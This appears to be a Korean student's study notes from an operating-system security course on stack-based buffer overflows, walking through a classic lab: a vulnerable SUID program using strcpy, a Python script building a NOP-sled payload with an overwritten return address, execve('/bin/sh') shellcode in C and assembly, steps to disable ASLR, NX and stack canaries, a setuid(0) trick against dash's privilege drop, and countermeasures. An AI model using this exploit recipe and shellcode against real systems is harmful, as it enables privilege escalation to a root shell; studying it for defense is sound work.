[운영체제보안]Stack-based Buffer Overflow

cloudbread·2025년 11월 28일

1. Stack이 Queue보다 적합한 경우

  • 함수 호출 : 스택은 LIFO (Last In First Out) 구조이므로, 함수가 호출되는 순서와 반환되는 순서가 정확히 반대이다.

2. 스택 프레임 (Stack Frame)에 저장되는 요소

  • ESP (Stack Pointer) : 스택의 현재 최상단(top)을 가리킴.
  • EBP (Base Pointer) : 현재 스택 프레임의 기준점
  • EIP (Program Counter) = PC : 현재 실행 중인 명령어의 주소
  • RA (Return Address) : 함수 종료후 돌아갈 명령어의 주소 (EPB+4)

3. 리눅스 가상 메모리 구조

  • 4GB 가상 메모리 구조라고 생각했을 때, 1GB 커널 영역 3GB가 사용자 영역이다.
  • 커널 영역 0xffffffff ~ 0xc0000000
  • 사용자 영역 0x 00000000 ~ 0xbfffffff

4. Assembly 언어 확인하는 방법

void func(int a, int b) {
   int x, y;
   
   x= a+b;
   y= a-b;
}

void main(void){
   func(5,10)
}

1) 어셈블리 소스 파일로 컴파일하고, more 명령어로 확인하기

  • -g : 디버깅 정보 포함
  • -S : C코드를 어셈블리 (.s) 파일로 생성
  • -fno-stack-protector : Stack Canary 제거
  • -m32 : 32비트 바이너리

2) c코드를 실행 가능한 바이너리로 컴파일하고 gdb 확인하기

  • gdb ./prog => break func => disas 하기
  • %eax => x , %edx => y

5. STACK OVERFLOW ATTCK

#include <stdio.h>
#include <string.h>

void foo(char *str) {
    char buffer[100];
    // 취약점: 입력값을 길이 체크 없이 복사
    strcpy(buffer, str); // 버퍼 오버플로우 발생 가능
    
    return 1;
}

int main(int argc, char **argv) {
    char str[400];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 300, badfile);
    foo(str);

    printf("Returned Properly\n");
    return 1;
}
  • 1) badfile에서 300바이트를 읽어 str[400]에 저장
  • 2) foo(str)호출
  • 3) foo() 내부에서 strcpy(buffer, str) 실행 => buffer는 100바이트, str에서 들어오는 데이터는 공격자가 제어
  • 4) 버퍼 오버플로우 발생 가능

6. 버퍼 오버플로우의 주요 결과

1) Invalid Instruction 실행

  • 버퍼 오버플로우로 인해 RA가 유효하지 않은 메모리를 가리키면, CPU는 정상적인 기계어 코드가 아닌 데이터 바이트를 명령어로 해석한다.
  • 의미 없는 바이트를 실행 => illegal instruction 오류 발생 => 프로그램은 즉시 crash

2) Non-existing Address로 점프

  • 덮어쓴 반환 주소가 존재하지 않는 메모리 주소를 가리키는 경우, CPU는 해당 주소로 점프하려고 하지만, 해당 메모리 페이지가 존재하지 않음 => Segmentation fault 발생

3) Access Violation

  • 일반 사용자 모드 프로세스가 OS의 보호 정책에 따라 읽거나 실행할 수 없는 영역 (kernel space, read-only memory)으로 이동하려 하거나 접근하려하면, 권한 오류/Protection fault/Access violation 발생후 프로세스 종료
  • 즉, 잘못된 주소가 OS 보호 메커니즘을 건드리며 crash를 유발

4) Attacker's Code 실행

  • 가장 위험한 상황 => 공격자가 입력 데이터 내에 sehllcode 등을 삽입하고, 오버플로우로 인해 그 함수의 RA를 shellcode의 주소로 덮어쓰게 되면, 프로그램은 공격자가 심어 둔 명령을 실행하게 된다.
  • root shell 탈취, reverse shell 획득, 권한 상승, 임의 코드 실행

7. Stack overflow 실습 -> stack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char * str){
        char buffer[100];

        strcpy(buffer, str);

        return 1;

}

int main(int argc, char **argv){
        char str[400];
        FILE *badfile;

        badfile = fopen("badfile","r"); // 읽기 전용으로 열어라
        fread(str,sizeof(char),300,badfile);
        foo(str);

        printf("Returned Properlt\n"); // 공격에 성공 못하면 나오는 문장
        return 1;
}
  • strcpy() 함수는 길이 제한 없이 복사하기 때문에, 300바이트 데이터를 100바이트 버퍼로 복사하는 과정에서 스택 메모리가 덮어쓰기 overwrite가 되어 리턴 주소가 손상될 수 있다.
  • 공격이 성공할려면, 공격 코드의 주소를 알아내야지 효력이 있다 => nop을 앞쪽에 잔뜩 써주면 결국에 나중에 악의적인 코드로 간다.
  • ASLR => 프로세스 주소 공간 전체를 랜덤화하여 공격자가 메모리 주소를 예측하지 못하게 만드는 보안기법
  • PIE => 코드가 위치 독립적으로 실행될 수 있어, 프로그램의 .text, .data, .bss 등이 매 실행마다 다른 주소에 배치된다.
  • 공격 성공 조건 1)ALSR 기능을 꺼야한다. 2) 스택에서도 코드를 실행시키도록 해야한다.
  • sudo sysctl -w -kernel.randomize_va_space=0 => ASLR 완전히 끄기
  • sudo sysctl -w -kernel.randomize_va_space=2 => ASLR 완전히 켜기
  • -z execstack : stack을 실행 가능(executable)하게 설정 => 현대 리눅스에 NX 보호가 있어 스택에서 코드를 실행할 수 없도록 막는다. 이를 비활성화시키는 것임.
  • -fno-stack-protector: GCC가 제공하는 스택 보호 기법(stack Canary)을 비활성화한다.
  • -g : 기본 디버그 정보 포함
  • stack 파일의 owner을 root로 하고 set-uid 비트를 설정해준다.
  • buffer의 크기는 100byte + 컴파일러 alignment 패딩은 8byte = saved EBP까찌의 거리 108byte
  • GCC는 기본적으로 스택 프레임을 16바이트 정렬(alignment) 하려고한다 => 100바이트는 16배수가 아니라므로 정렬이 깨진다 => 정렬을 맞추기 위해 컴파일러가 8byte padding 추가

  • debugging 해서 ebp의 주소 위치를 확인해보면 다음과 같다.
  • ebp와 buffer사이의 크기가 108인것도 확인할 수 있음
  • 즉 return address 는 ebp + 4 = 0xffffe7f0 +4 = 0xffffe7f4

8. Stack overflow 실습 -> badfile 만들기

# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))   # 0x90: x86 NOP

# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode

# Put the address at offset 112
# 0xbfffeaf8: 저장하고 싶은 반환 주소(예: EBP 기준 주소)
# +120: EBP로부터 120바이트 떨어진 위치
ret = 0xbfffeaf8 + 120      # 108 + 120 = 228 같은 식의 계산 예시

# 리틀 엔디안 형태로 4바이트 주소를 기록
content[112:116] = ret.to_bytes(4, byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)

1) nop sled 생성

content = bytearray(0x90 for i in range(300))

2) payload 끝에 셸코드 배치

start = 300 - len(shellcode)
content[start:] = shellcode

3) 리턴 주소 덮어 쓰기

ret = 0xffffe7f4 + 120   # 예시: ebp 근처 주소 + 오프셋
content[112:116] = (ret).to_bytes(4, byteorder='little')
  • (중요) strcpy()는 NULL바이트 (0x00)를 만나면 복사를 멈춘다. badfile 안에 들어가는 RET 주소 (4바이트) 중 하나라도 0x00이 포함된다면, badfile이 완전히 복사되기 전 복사가 중단된다.
    • 예 : 0xbfffeaf8 + 0x78 = 0xbfffeb70 => 마지막 바이트가 0x70이라 OK
    • 예 : 0xbfffeaf8 + 0x08 = 0xbfffeb00 => 마지막 바이트 0x00이라 strcpy가 복사 중단 => exploit 실패

9. Stack overflow 실습 -> shellcode 만들기

#include <stddef.h>
#include <unistd.h>

void main(){
        char *name[2]; 
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve (name[0], name, NULL); 
}
  • execve()에 전달할 argv 배열을 만들기 위해 포인트 배열을 선언
  • argv[0] = 실행할 프로그램 경로, argv[1] = NULL (argv의 끝을 표시)
  • execve (실행 파일, argv 포인터 배열, 환경 변수)
  • 정상적으로 수행되면 현재 프로세스가 /bin/sh 로 완전히 교체됨.
    xor    eax, eax          ; eax = 0
    push   eax               ; push 0 (NULL)
    push   0x68732f2f        ; push "//sh"
    push   0x6e69622f        ; push "/bin"
    mov    ebx, esp          ; ebx -> "/bin//sh"
    push   eax               ; push 0 (envp NULL)
    push   ebx               ; push pointer to "/bin//sh" (argv[0])
    mov    ecx, esp          ; ecx -> argv
    xor    edx, edx          ; edx = 0 (envp NULL)
    mov    al, 0x0b          ; eax = 11 (sys_execve)
    int    0x80
  • shellcode 의 목적 : 공격자는 프로그램의 흐름을 가로채 execve("/bin/sh")를 호출하는 shellcode를 삽입하여 root 혹은 취약 프로그램의 권한으로 쉘을 실행하려함.
  • 1) Loader Issue : 우리가 공격 코드로 실행하는 것은 프로세스 메모리에 직접 주입되는 기계어 => 따라서 loader가 없음 => ELF 헤더가 없음 => 코드가 어느 위치에 적재되더라도 실행가능해야하므로 Position Independent Code (PIC) 형태여야한다.
  • 2) Zeros in Code : strcpy에는 0x00을 만나면 복사를 중지한다. => shellcode안에 0x00 바이트가 절대 들어가서는 안된다.
  • eax : 0x0b (execve syscall) 번호
  • ebx : 문자열 주소
  • ecx : argv 배열주소
  • edx : 0
  • int 0x80 : 시스템 콜이 불리게 된다.

10. 결과 분석

  • /bin/sh => 실행중인 프로그램의 EUID를 그대로 상속한다.
  • ubuntu 16.04 이후의 /bin/sh는 /bin/dash와 같다. => dash shell은 SUID 비트를 무시한다. root UID 실행되어도 UID를 일반 사용자로 강제로 떨어뜨린다.
  • 즉 SUID root 프로그램이 execve("bin/sh")를 호출해도 dash는 UID=0로 실행되지 않는다.
  • 그래서 exploit 이 성공해도 uid 가 1000으로 나온다.

9. segment 정리

1) stack 전용 register : ebp, esp
2) code 전용 register : eip

10. 오류의 정리

1) Syntax Error (문법 오류) : 코드 구조나 문법이 규칙에 맞지 않아 컴파일 자체가 안되는 오류 => 세미콜론 누락, 괄호 짝 불일치 등등 (컴파일 단계에서 즉시 발견)
2) Runtime Error (실행 오류) : 프로그램 실행 중일 때 발생하는 오류 => 0으로 나누기, NULL dereference, 배열 범위 초과 접근 => 컴파일은 성공하지만 실행 도중 비정상 종료 발생
3) Logic Errro (논리 오류) : 코드가 문법적으로도, 실행 시에도 오류가 없지만 프로그래머가 의도한 결과와 다르게 동작하는 오류 => 잘못된 알고리즘, 조건문 방향 오류 => 컴파일 ok, 실행

11. little endian

  • 값을 메모리에 저장할 때 가장 낮은 바이트가 낮은 주소에 먼저 저장되는 방식
  • push 0x11223344 실행 후 ESP = 0xffffd96c로 감소 => 해당 4바이트에 little endian 저장

12. buffer overflow 대응책

1) 개발자 차원 대응

  • 안전한 문자열/메모리 함수 사용
    • strcpy() => strncpy()
    • gets() => fgets()
    • sprintf(0 => snprintf()
    • 길이 제한을 명시적으로 적용하여 오버플로우 위험을 줄인다.
  • 안전한 라이브러리 사용
    • libsafe : strcpy, strcat, gets등 위험 함수들의 안전 버전을 제공한다.
    • libmib : 고정 크기의 버퍼가 없어 오버플로우 위험이 구조적으로 감소
      2) 운영체제 방어
  • ASLR (Address Space Layout Randomization) : 프로세스 메모리의 주요 섹션 주소를 매 실행마다 무작위화 한다. => stack, heap, shared libraries, mmap 영역
    • 공격자가 스택 주소를 예측하기 매우 어려워짐 => shellcode jump 실패
    • sudo sysctl -w kernel.randomize.va_space = 0 (완전 끄기)
    • sudo sysctl -w kernel.randomize.va_space = 1 (stack 주소 랜덤화)
    • sudo sysctl -w kernel.randomize.va_space = 2 (heap, stack 주소 랜덤화)

3) 컴파일러 방어

  • StackGuard (Cannary 기반 보호)
| Local Variables |
-------------------
| Canary Value    |  ← 무작위 값
-------------------
| Return Address  |
  • 함수 종료 시, canary 값이 변조되었는지 검사

  • 변조되었으면 즉시 abort -> 공격차단
    4) 하드웨어 방어

  • NX bit (Non-executable Stack)

  • 스택/힙 영억을 non-excutable로 표시

  • 해당 영역에서 기계어 코드 실행을 금지

  • 즉, shellcode가 있더라도 CPU가 실행하지 않음

  • 코드 인젝션 공격을 완벽 차단

    12. ASLR 상세 원리

  • 스택 시작 주소가 실행할 때 마다 변경 => 정확한 return address를 알기 어려움

  • 32 bit의 경우 랜덤화 범위 2192^19 => 스택이 커널 바로 아래 좁은 영역에 배치되므로 ASLR이 넓은 범위를 사용할 수 없음 (경우의 수가 무척 적음) => 쉘스크립트를 배우면 공격이 쉬워짐

13. STACK Canary 설정

  • 공격자가 canary 값을 알게 된다면, RET overwrite를 수행할 때 동일한 canary를 그대로 복원하기만 하면 검사가 통과되어 보호가 무력화된다.
  • 따라서 고정된 canary값은 실행할 때마다 새로운 random canary를 사용하는 것이 더 안전하다.
  • secret 값을 null 문자로 주는 것도 좋다. => strcpy()는 NULL 만나면 복사가 멈추기 때문이다.

14. Dash shell

  • /bin/besh, /bin/desh : setuid 프로그램이 쉘을 실행할 때 보안 목적으로 권한을 자동으로 강등하는 쉘을 지칭한다. euid와 ruid가 다르면 무조건 권한을 실제 사용자로 강등시킨다.
  • dash 는 프로그램이 실행될 때 EUID ≠ RUID 상태인 경우에만 권한을 강등한다.
  • 따라서 쉘코드의 가장 앞에 setuid(0);을 넣으면 EUID = RUID = 0 상태가 되어 더 이상 권한 강등을 수행하지 못한다.
  • 이후 execve ("/bin/sh")를 호출하면 정상적인 root shell을 실행할 수 있다.

15. NX 우회

  • return to libc : 공격자가 쉘 코드를 실행하는 대신, 스택의 return addess를 libc의 system("/bin/sh") 주소로 변경
  • ROP
profile
잡다한거 다 공부중....

0개의 댓글